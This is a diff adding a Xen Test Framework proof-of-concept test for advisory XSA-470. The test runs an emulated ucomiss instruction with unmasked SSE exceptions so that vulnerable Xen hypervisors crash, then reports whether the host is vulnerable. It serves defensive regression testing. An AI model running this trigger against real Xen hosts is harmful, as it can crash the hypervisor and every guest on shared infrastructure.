|
| 1 | +/** |
| 2 | + * @file tests/xsa-470/main.c |
| 3 | + * @ref test-xsa-470 |
| 4 | + * |
| 5 | + * @page test-xsa-470 XSA-470 |
| 6 | + * |
| 7 | + * Advisory: [XSA-470](https://xenbits.xen.org/xsa/advisory-470.html) |
| 8 | + * |
| 9 | + * When stub exception recovery support was added to Xen, the source address |
| 10 | + * in EXTABLE was incorrect for instructions which need to recover eflags. |
| 11 | + * |
| 12 | + * For such an instruction which takes an exception, Xen will not find fixup |
| 13 | + * logic, and will crash with an unhandled exception. |
| 14 | + * |
| 15 | + * @see tests/xsa-470/main.c |
| 16 | + */ |
| 17 | +#include <xtf.h> |
| 18 | + |
| 19 | +const char test_title[] = "XSA-470 PoC"; |
| 20 | +bool test_needs_fep = true; |
| 21 | + |
| 22 | +void test_main(void) |
| 23 | +{ |
| 24 | + unsigned int status, denorm = 0x1; |
| 25 | + exinfo_t fault = 0; |
| 26 | + |
| 27 | + /* Enable SSE, clear and unmask all exceptions. */ |
| 28 | + write_cr4(read_cr4() | X86_CR4_OSFXSR | X86_CR4_OSXMMEXCPT); |
| 29 | + write_mxcsr(0); |
| 30 | + |
| 31 | + /* |
| 32 | + * As we're compiled with -mno-sse, SSE register constraints aren't |
| 33 | + * tolerated. Just use %xmm0 behind the back of the compiler; it's not |
| 34 | + * going to interfere with anything. |
| 35 | + */ |
| 36 | + asm volatile ("movd %[denorm], %%xmm0\n\t" |
| 37 | + _ASM_XEN_FEP "1: ucomiss %%xmm0, %%xmm0\n\t" |
| 38 | + "2: " |
| 39 | + _ASM_EXTABLE_HANDLER(1b, 2b, %P[rec]) |
| 40 | + : "+a" (fault) |
| 41 | + : [rec] "p" (ex_record_fault_eax), |
| 42 | + [denorm] "rm" (denorm)); |
| 43 | + |
| 44 | + /* |
| 45 | + * If we're still alive here, Xen didn't crash. Cross-check that the |
| 46 | + * emulator did hand us back the right exception. |
| 47 | + */ |
| 48 | + if ( fault != EXINFO_SYM(XM, 0) ) |
| 49 | + return xtf_error("Error: expecting #XM, got %pe\n", _p(fault)); |
| 50 | + |
| 51 | + status = read_mxcsr() & X86_MXCSR_STATUS_MASK; |
| 52 | + if ( status != X86_MXCSR_DE ) |
| 53 | + return xtf_error("Error: expecting #D, got %#x\n", status); |
| 54 | + |
| 55 | + xtf_success("Success: Not vulnerable to XSA-470\n"); |
| 56 | +} |
| 57 | + |
| 58 | +/* |
| 59 | + * Local variables: |
| 60 | + * mode: C |
| 61 | + * c-file-style: "BSD" |
| 62 | + * c-basic-offset: 4 |
| 63 | + * tab-width: 4 |
| 64 | + * indent-tabs-mode: nil |
| 65 | + * End: |
| 66 | + */ |
0 commit comments